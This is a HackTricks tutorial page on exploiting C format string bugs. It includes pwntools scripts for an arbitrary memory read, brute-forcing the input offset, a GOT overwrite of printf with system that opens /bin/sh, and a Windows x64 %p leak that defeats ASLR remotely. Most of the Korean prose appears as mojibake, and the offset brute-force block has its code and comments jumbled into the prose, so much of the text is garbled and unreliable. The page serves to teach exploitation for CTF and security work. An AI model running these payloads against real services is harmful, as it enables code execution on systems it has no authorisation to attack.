Format Strings

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

C์—์„œ **printf**๋Š” ๋ฌธ์ž์—ด์„ ์ถœ๋ ฅํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ํ•จ์ˆ˜์ž…๋‹ˆ๋‹ค. ์ด ํ•จ์ˆ˜๊ฐ€ ๊ธฐ๋Œ€ํ•˜๋Š” ์ฒซ ๋ฒˆ์งธ ํŒŒ๋ผ๋ฏธํ„ฐ๋Š” ํฌ๋งทํ„ฐ๊ฐ€ ํฌํ•จ๋œ ์›์‹œ ํ…์ŠคํŠธ์ž…๋‹ˆ๋‹ค. ์ด์–ด์„œ ์ „๋‹ฌ๋˜๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ๋“ค์€ ์›์‹œ ํ…์ŠคํŠธ์˜ ํฌ๋งทํ„ฐ๋ฅผ ๋Œ€์ฒดํ•  ๊ฐ’๋“ค์ž…๋‹ˆ๋‹ค.

๋‹ค๋ฅธ ์ทจ์•ฝํ•œ ํ•จ์ˆ˜๋กœ๋Š” **sprintf()**์™€ **fprintf()**๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ์ทจ์•ฝ์ ์€ ์ด ํ•จ์ˆ˜์˜ ์ฒซ ๋ฒˆ์งธ ์ธ์ž๋กœ ๊ณต๊ฒฉ์ž ํ…์ŠคํŠธ๊ฐ€ ์‚ฌ์šฉ๋  ๋•Œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” printf format string ๊ธฐ๋Šฅ์„ ์•…์šฉํ•ด ํŠน์ˆ˜ํ•œ ์ž…๋ ฅ์„ ๋งŒ๋“ค์–ด ์ž„์˜์˜ ์ฃผ์†Œ์—์„œ ๋ฐ์ดํ„ฐ๋ฅผ ์ฝ๊ณ  ์“ธ ์ˆ˜ ์žˆ๊ฒŒ(์ฝ๊ธฐ/์“ฐ๊ธฐ ๊ฐ€๋Šฅ) ๋˜๋ฉฐ, ์ด๋ฅผ ํ†ตํ•ด ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํฌ๋งทํ„ฐ:

%08x โ€”> 8 hex bytes
%d โ€”> Entire
%u โ€”> Unsigned
%s โ€”> String
%p โ€”> Pointer
%n โ€”> Number of written bytes
%hn โ€”> Occupies 2 bytes instead of 4
<n>$X โ€”> Direct access, Example: ("%3$d", var1, var2, var3) โ€”> Access to var3

์˜ˆ์‹œ:

  • ์ทจ์•ฝํ•œ ์˜ˆ:
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • ์ผ๋ฐ˜ ์‚ฌ์šฉ:
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • ์ธ์ž ๋ˆ„๋ฝ ์‹œ:
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf ์ทจ์•ฝ์ :
#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}

ํฌ์ธํ„ฐ์— ์ ‘๊ทผํ•˜๊ธฐ

ํ˜•์‹ %<n>$x, ์—ฌ๊ธฐ์„œ n์€ ์ˆซ์ž์ด๋ฉฐ, printf์— ์Šคํƒ์—์„œ n๋ฒˆ์งธ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์„ ํƒํ•˜๋„๋ก ์ง€์‹œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ printf๋กœ ์Šคํƒ์˜ ๋„ค ๋ฒˆ์งธ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์ฝ๊ณ  ์‹ถ๋‹ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

printf("%x %x %x %x")

๊ทธ๋ฆฌ๊ณ  ์ฒซ ๋ฒˆ์งธ๋ถ€ํ„ฐ ๋„ค ๋ฒˆ์งธ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ฝ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

๋˜๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

printf("%4$x")

๊ทธ๋ฆฌ๊ณ  ๋ฐ”๋กœ ๋„ค ๋ฒˆ์งธ๋ฅผ ์ฝ์Šต๋‹ˆ๋‹ค.

Notice that the attacker controls the printf ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์ œ์–ดํ•œ๋‹ค๋Š” ์ , ์ฆ‰ his input is going to be in the stack when printf is called, which means that he could write specific memory addresses in the stack.

Caution

์ด ์ž…๋ ฅ์„ ์ œ์–ดํ•˜๋Š” ๊ณต๊ฒฉ์ž๋Š” ์Šคํƒ์— ์ž„์˜์˜ ์ฃผ์†Œ๋ฅผ ์ถ”๊ฐ€ํ•˜๊ณ  printf๋กœ ๊ทธ ์ฃผ์†Œ๋“ค์— ์ ‘๊ทผํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ๋‹ค. ๋‹ค์Œ ์„น์…˜์—์„œ ์ด ๋™์ž‘์„ ํ™œ์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์„ค๋ช…ํ•œ๋‹ค.

Arbitrary Read

Itโ€™s possible to use the formatter %n$s to make printf get the ์ฃผ์†Œ situated in the n ์œ„์น˜, following it and ๋ฌธ์ž์—ด์ธ ๊ฒƒ์ฒ˜๋Ÿผ ์ถœ๋ ฅํ•˜๊ฒŒ ํ•œ๋‹ค (print until a 0x00 is found). So if the base address of the binary is 0x8048000, and we know that the user input starts in the 4th position in the stack, itโ€™s possible to print the starting of the binary with:

from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

Caution

์ž…๋ ฅ์˜ ์‹œ์ž‘์— ์ฃผ์†Œ 0x8048000์„ ๋„ฃ์„ ์ˆ˜ ์—†๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”. ๋ฌธ์ž์—ด์ด ํ•ด๋‹น ์ฃผ์†Œ ๋์˜ 0x00์—์„œ ์ž˜๋ฆฌ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

์˜คํ”„์…‹ ์ฐพ๊ธฐ

์ž…๋ ฅ์— ๋Œ€ํ•œ ์˜คํ”„์…‹์„ ์ฐพ์œผ๋ ค๋ฉด 4 ๋˜๋Š” 8 ๋ฐ”์ดํŠธ (0x41414141)๋ฅผ ๋ณด๋‚ธ ๋‹ค์Œ **%1$x**๋ฅผ ๋ถ™์ด๊ณ  A's๊ฐ€ ๋‚˜์˜ฌ ๋•Œ๊นŒ์ง€ ๊ฐ’์„ ์ฆ๊ฐ€์‹œํ‚ค๋ฉด ๋ฉ๋‹ˆ๋‹ค.

Brute Force printf offset ```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

Iterate over a range of integers

for i in range(10):

Construct a payload that includes the current integer as offset

payload = fโ€œAAAA%{i}$xโ€œ.encode()

Start a new process of the โ€œchallโ€ binary

p = process(โ€œ./challโ€)

Send the payload to the process

p.sendline(payload)

Read and store the output of the process

output = p.clean()

Check if the string โ€œ41414141โ€ (hexadecimal representation of โ€œAAAAโ€) is in the output

if bโ€œ41414141โ€œ in output:

If the string is found, log the success message and break out of the loop

log.success(fโ€œUser input is at offset : {i}โ€œ) break

Close the process

p.close()

</details>

### ์œ ์šฉ์„ฑ

Arbitrary reads๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค:

- **Dump** the **binary** from memory
- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))

## **Arbitrary Write**

ํฌ๋งคํ„ฐ **`%<num>$n`**์€ ์Šคํƒ์˜ <num> ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ ๊ฐ€๋ฆฌํ‚ค๋Š” ์ฃผ์†Œ์— ์ง€๊ธˆ๊นŒ์ง€ ์ถœ๋ ฅ๋œ ๋ฐ”์ดํŠธ ์ˆ˜๋ฅผ ์”๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๊ฐ€ printf๋กœ ์›ํ•˜๋Š” ๋งŒํผ ๋งŽ์€ char๋ฅผ ์“ธ ์ˆ˜ ์žˆ๋‹ค๋ฉด, **`%<num>$n`**์„ ์ด์šฉํ•ด ์ž„์˜์˜ ์ฃผ์†Œ์— ์ž„์˜์˜ ์ˆซ์ž๋ฅผ ์“ธ ์ˆ˜ ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

๋‹คํ–‰ํžˆ๋„ ์ˆซ์ž 9999๋ฅผ ์“ฐ๊ธฐ ์œ„ํ•ด ์ž…๋ ฅ์— "A"๋ฅผ 9999๊ฐœ ์ถ”๊ฐ€ํ•  ํ•„์š”๋Š” ์—†์Šต๋‹ˆ๋‹ค. ๋Œ€์‹  ํฌ๋งคํ„ฐ **`%.<num-write>%<num>$n`**์„ ์‚ฌ์šฉํ•˜๋ฉด **`<num-write>`** ์ˆซ์ž๋ฅผ **`num` ์œ„์น˜๊ฐ€ ๊ฐ€๋ฆฌํ‚ค๋Š” ์ฃผ์†Œ์—** ์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
```bash
AAAA%.6000d%4\$n โ€”> Write 6004 in the address indicated by the 4ยบ param
AAAA.%500\$08x โ€”> Param at offset 500

ํ•˜์ง€๋งŒ ๋ณดํ†ต 0x08049724 (ํ•œ ๋ฒˆ์— ์“ฐ๊ธฐ์—๋Š” ๋งค์šฐ ํฐ ์ˆ˜) ๊ฐ™์€ ์ฃผ์†Œ๋ฅผ ์“ฐ๊ธฐ ์œ„ํ•ด์„œ๋Š”, $n ๋Œ€์‹  $hn์ด ์‚ฌ์šฉ๋œ๋‹ค. ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ์˜ค์ง 2 Bytes๋งŒ ์“ธ ์ˆ˜ ์žˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ด ์ž‘์—…์€ ์ฃผ์†Œ์˜ ์ƒ์œ„ 2B์™€ ํ•˜์œ„ 2B์— ๋Œ€ํ•ด ๊ฐ๊ฐ ๋‘ ๋ฒˆ ์ˆ˜ํ–‰๋œ๋‹ค.

๋”ฐ๋ผ์„œ, ์ด ์ทจ์•ฝ์ ์€ ์ž„์˜์˜ ์ฃผ์†Œ์— ์–ด๋–ค ๊ฐ’์ด๋“  ์“ธ ์ˆ˜ ์žˆ๋‹ค (arbitrary write).

์ด ์˜ˆ์ œ์—์„œ ๋ชฉํ‘œ๋Š” ๋‚˜์ค‘์— ํ˜ธ์ถœ๋  GOT ํ…Œ์ด๋ธ”์— ์žˆ๋Š” ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ๋ฎ์–ด์“ฐ๋Š” ๊ฒƒ์ด๋‹ค. ๋ฌผ๋ก  ์ด๋Š” ๋‹ค๋ฅธ arbitrary write to exec ๊ธฐ๋ฒ•์„ ์•…์šฉํ•  ์ˆ˜๋„ ์žˆ๋‹ค:

Write What Where 2 Exec

์šฐ๋ฆฌ๋Š” ์‚ฌ์šฉ์ž๋กœ๋ถ€ํ„ฐ ์ธ์ž๋ฅผ ๋ฐ›๋Š” ํ•จ์ˆ˜๋ฅผ ๋ฎ์–ด์จ์„œ ๊ทธ ํ•จ์ˆ˜๋ฅผ system ํ•จ์ˆ˜๋กœ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ๋งŒ๋“ค ๊ฒƒ์ด๋‹ค.
์•ž์„œ ์–ธ๊ธ‰ํ–ˆ๋“ฏ ์ฃผ์†Œ๋ฅผ ์“ฐ๊ธฐ ์œ„ํ•ด์„œ๋Š” ๋ณดํ†ต 2๋‹จ๊ณ„๊ฐ€ ํ•„์š”ํ•˜๋‹ค: ๋จผ์ € ์ฃผ์†Œ์˜ 2Bytes๋ฅผ ์“ฐ๊ณ  ๊ทธ ๋‹ค์Œ ๋‚˜๋จธ์ง€ 2Bytes๋ฅผ ์“ด๋‹ค. ์ด๋ฅผ ์œ„ํ•ด **$hn**์„ ์‚ฌ์šฉํ•œ๋‹ค.

  • HOB๋Š” ์ฃผ์†Œ์˜ ์ƒ์œ„ 2Bytes๋ฅผ ๊ฐ€๋ฆฌํ‚จ๋‹ค
  • LOB๋Š” ์ฃผ์†Œ์˜ ํ•˜์œ„ 2Bytes๋ฅผ ๊ฐ€๋ฆฌํ‚จ๋‹ค

๊ทธ ๋‹ค์Œ, format string์˜ ๋™์ž‘ ๋ฐฉ์‹ ๋•Œ๋ฌธ์— [HOB, LOB] ์ค‘ ๋” ์ž‘์€ ๊ฐ’์„ ๋จผ์ € ์จ์•ผ ํ•˜๊ณ  ๊ทธ ๋‹ค์Œ์— ๋‚˜๋จธ์ง€๋ฅผ ์จ์•ผ ํ•œ๋‹ค.

๋งŒ์•ฝ HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

๋งŒ์•ฝ HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NยบParam_dir_HOB LOB_shell-HOB_shell NยบParam_dir_LOB

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Pwntools ํ…œํ”Œ๋ฆฟ

์ด๋Ÿฌํ•œ ์œ ํ˜•์˜ ์ทจ์•ฝ์ ์— ๋Œ€ํ•œ exploit์„ ์ค€๋น„ํ•˜๊ธฐ ์œ„ํ•œ ํ…œํ”Œ๋ฆฟ์€ ๋‹ค์Œ์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Format Strings Template

๋˜๋Š” here์˜ ๊ธฐ๋ณธ ์˜ˆ์ œ:

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Format Strings to BOF

format string ์ทจ์•ฝ์ ์˜ write ๋™์ž‘์„ ์•…์šฉํ•˜์—ฌ write in addresses of the stack๋ฅผ ์ˆ˜ํ–‰ํ•˜๊ณ  buffer overflow ์œ ํ˜•์˜ ์ทจ์•ฝ์ ์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.

Windows x64: Format-string leak to bypass ASLR (no varargs)

Windows x64์—์„œ๋Š” ์ฒซ ๋„ค ๊ฐœ์˜ ์ •์ˆ˜/ํฌ์ธํ„ฐ ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ ๋ ˆ์ง€์Šคํ„ฐ(RCX, RDX, R8, R9)๋ฅผ ํ†ตํ•ด ์ „๋‹ฌ๋œ๋‹ค. ๋งŽ์€ ๋ฒ„๊ทธ๊ฐ€ ์žˆ๋Š” ํ˜ธ์ถœ ์ง€์ ์—์„œ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๋ฌธ์ž์—ด์ด format argument๋กœ ์‚ฌ์šฉ๋˜์ง€๋งŒ variadic arguments๊ฐ€ ์ œ๊ณต๋˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด:

// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);

varargs๊ฐ€ ์ „๋‹ฌ๋˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— โ€œ%pโ€, โ€œ%xโ€, โ€œ%sโ€ ๊ฐ™์€ ๋ณ€ํ™˜์€ CRT๊ฐ€ ์ ์ ˆํ•œ ๋ ˆ์ง€์Šคํ„ฐ์—์„œ ๋‹ค์Œ ๊ฐ€๋ณ€ ์ธ์ˆ˜๋ฅผ ์ฝ๋„๋ก ๋งŒ๋“ญ๋‹ˆ๋‹ค. Microsoft x64 calling convention์—์„œ๋Š” โ€œ%pโ€œ์— ๋Œ€ํ•œ ์ฒซ ๋ฒˆ์งธ ์ฝ๊ธฐ๊ฐ€ R9์—์„œ ์ด๋ฃจ์–ด์ง‘๋‹ˆ๋‹ค. ํ˜ธ์ถœ ์ง€์ ์—์„œ R9์— ์žˆ๋Š” ์–ด๋–ค ์ผ์‹œ์  ๊ฐ’์ด๋“  ์ถœ๋ ฅ๋ฉ๋‹ˆ๋‹ค. ์‹ค์ œ๋กœ ์ด๋Š” ์ข…์ข… ์•ˆ์ •์ ์ธ in-module pointer๋ฅผ leakํ•˜๋Š”๋ฐ(์˜ˆ: ์ฃผ๋ณ€ ์ฝ”๋“œ์— ์˜ํ•ด ์ด์ „์— R9์— ๋ฐฐ์น˜๋œ ๋กœ์ปฌ/๊ธ€๋กœ๋ฒŒ ๊ฐ์ฒด์— ๋Œ€ํ•œ ํฌ์ธํ„ฐ ๋˜๋Š” callee-saved ๊ฐ’), ์ด๋Š” module base๋ฅผ ๋ณต๊ตฌํ•˜๊ณ  ASLR์„ ๋ฌด๋ ฅํ™”ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Practical workflow:

  • ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๋ฌธ์ž์—ด์˜ ๋งจ ์•ž์— โ€œ%p โ€œ ๊ฐ™์€ ๋ฌดํ•ดํ•œ ํฌ๋งท์„ ์ฃผ์ž…ํ•˜์—ฌ ์ฒซ ๋ฒˆ์งธ ๋ณ€ํ™˜์ด ํ•„ํ„ฐ๋ง ์ „์— ์‹คํ–‰๋˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค.
  • leaked pointer๋ฅผ ์บก์ฒ˜ํ•˜๊ณ , ํ•ด๋‹น ๊ฐ์ฒด์˜ ๋ชจ๋“ˆ ๋‚ด ์ •์  ์˜คํ”„์…‹์„ ์‹๋ณ„ํ•œ ๋‹ค์Œ(์‹ฌ๋ณผ์ด๋‚˜ ๋กœ์ปฌ ๋ณต์‚ฌ๋ณธ์œผ๋กœ ํ•œ ๋ฒˆ ๋ฆฌ๋ฒ„์‹ฑํ•˜์—ฌ) image base๋ฅผ leak - known_offset์œผ๋กœ ๋ณต์›ํ•ฉ๋‹ˆ๋‹ค.
  • ๊ทธ base๋ฅผ ์žฌ์‚ฌ์šฉํ•˜์—ฌ ROP gadgets ๋ฐ IAT entries์˜ ์ ˆ๋Œ€ ์ฃผ์†Œ๋ฅผ ์›๊ฒฉ์œผ๋กœ ๊ณ„์‚ฐํ•ฉ๋‹ˆ๋‹ค.

Example (abbreviated python):

from pwn import remote

# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-"  # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16)   # e.g. 0x7ff6693d0660
base   = leaked - 0x20660                     # module base = leak - offset
print(hex(leaked), hex(base))

๋…ธํŠธ:

  • ๋นผ์•ผ ํ•  ์ •ํ™•ํ•œ offset์€ ๋กœ์ปฌ reversing ์ค‘์— ํ•œ ๋ฒˆ ์ฐพ์€ ๋’ค ์žฌ์‚ฌ์šฉํ•œ๋‹ค (same binary/version).
  • โ€œ%pโ€œ๊ฐ€ ์ฒซ ์‹œ๋„์—์„œ ์œ ํšจํ•œ ํฌ์ธํ„ฐ๋ฅผ ์ถœ๋ ฅํ•˜์ง€ ์•Š์œผ๋ฉด, ๋‹ค๋ฅธ ์ง€์ •์ž(โ€%llxโ€œ, โ€œ%sโ€)๋‚˜ ์—ฌ๋Ÿฌ ๋ณ€ํ™˜(โ€œ%p %p %pโ€)์„ ์‹œ๋„ํ•ด ๋‹ค๋ฅธ argument registers/stack๋ฅผ ์ƒ˜ํ”Œ๋งํ•ด๋ณด์ž.
  • ์ด ํŒจํ„ด์€ Windows x64 calling convention๊ณผ format ๋ฌธ์ž์—ด์ด ์š”์ฒญํ•  ๋•Œ ์กด์žฌํ•˜์ง€ ์•Š๋Š” varargs๋ฅผ registers์—์„œ ๊ฐ€์ ธ์˜ค๋Š” printf-family ๊ตฌํ˜„์— ํŠนํ™”๋˜์–ด ์žˆ๋‹ค.

์ด ๊ธฐ๋ฒ•์€ ASLR์ด ์ ์šฉ๋˜๊ณ  ๋ช…๋ฐฑํ•œ memory disclosure primitives๊ฐ€ ์—†๋Š” Windows ์„œ๋น„์Šค์—์„œ ROP๋ฅผ ๋ถ€ํŠธ์ŠคํŠธ๋žฉํ•˜๋Š” ๋ฐ ๋งค์šฐ ์œ ์šฉํ•˜๋‹ค.

Other Examples & References

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ